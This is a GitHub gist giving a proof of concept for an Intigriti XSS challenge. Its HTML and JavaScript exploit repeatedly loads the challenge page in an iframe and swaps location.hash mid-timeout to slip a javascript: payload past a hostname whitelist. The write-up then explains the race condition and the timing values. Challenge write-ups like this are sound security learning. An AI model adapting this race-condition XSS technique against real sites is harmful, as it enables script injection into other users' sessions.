Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save NRockhouse/bbdcbf3dbd9bf4f857a27edaf6f12689 to your computer and use it in GitHub Desktop.
Save NRockhouse/bbdcbf3dbd9bf4f857a27edaf6f12689 to your computer and use it in GitHub Desktop.

Proof of Concept / description

Attacker needs to give victim a malicious link that he controls in order to exploit the vulnerability.

Live PoC: ██████████

Code I used

<body></body>
<script>
    function callmemaybe() {
        var iframe = document.createElement("iframe");
        iframe.src = "https://challenge.intigriti.io/#http://intigriti.io";
        document.body.appendChild(iframe);
        setTimeout(function(){
            iframe.src = "https://challenge.intigriti.io/#javascript:document.body.appendChild(document.createElement('iframe'));alert(document.domain)";
            setTimeout(function(){
                if(iframe.contentWindow.frames.length == 0) {
                    document.body.removeChild(iframe);
                    callmemaybe();
                }
            }, 100);
        }, 10);
    }
    callmemaybe();
</script>

Explanation

In the original script, the only check stopping me from reaching location = location.hash.substr(1); is only the condition whitelist.indexOf(url.hostname) > -1. Since the location = location.hash.substr(1); part is wrapped in window.setTimeout, it is vulnerable to race condition. location.hash is a changable value, and changing the value wouldn't halt or restart code execution, thus, as long as the first condition is sufficied, and the value is changed midway before hitting the location line, XSS or open redirect can happen.

By creating my custom page embedding the challenge page, I can change location.hash to any value I want halfway. In the PC I tested in, a timeout of 10ms is sufficient for the XSS to occur frequent enough. However, my lower spec laptop required 38ms. It is through trial and testing that I was able to obtain these specific values. I may change it later so that the millisecond count can be calculated via Javascript itself instead of manual brute forcing to increase the reproducablility.

I used the payload javascript:document.body.appendChild(document.createElement('iframe'));alert(document.domain) as I need some vector to know that my Javascript fired, so that I can stop the infinite loop and have the payload only fire once. To do that, I used iframe as it is one of the XS-Leak vectors, by adding an iframe, I can know my Javascript fired by looking at if the number of iframes in the page is not zero using iframe.contentWindow.frames.length.

The second setTimeout with 100ms is to give time for the new hash URL to load and work before checking for iframes.

Extras

Side note: this is not present in my original report.
How does it look like if I don't use an iframe to stop it: https://streamable.com/727bn

Impact

XSS

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment